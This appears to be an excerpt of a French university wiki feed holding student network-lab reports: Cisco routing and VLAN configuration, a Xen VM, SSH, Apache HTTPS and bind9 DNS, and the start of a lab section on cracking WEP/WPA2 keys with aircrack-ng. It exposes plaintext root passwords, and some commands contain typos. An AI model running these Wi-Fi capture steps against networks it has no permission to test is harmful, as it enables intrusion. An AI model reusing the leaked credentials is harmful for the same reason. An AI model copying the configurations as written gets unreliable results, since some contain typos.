   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51563</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51563"/>
				<updated>2019-12-07T01:55:44Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Installation et paramétrage de bind9 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Connexion ssh@193.48.57.161'''&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier &lt;br /&gt;
&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
Gestion des certificats &lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée avec openssl &lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
 airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
 airmon-ng start wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
 airodump-ng -c 2 wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
 airodump-ng&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
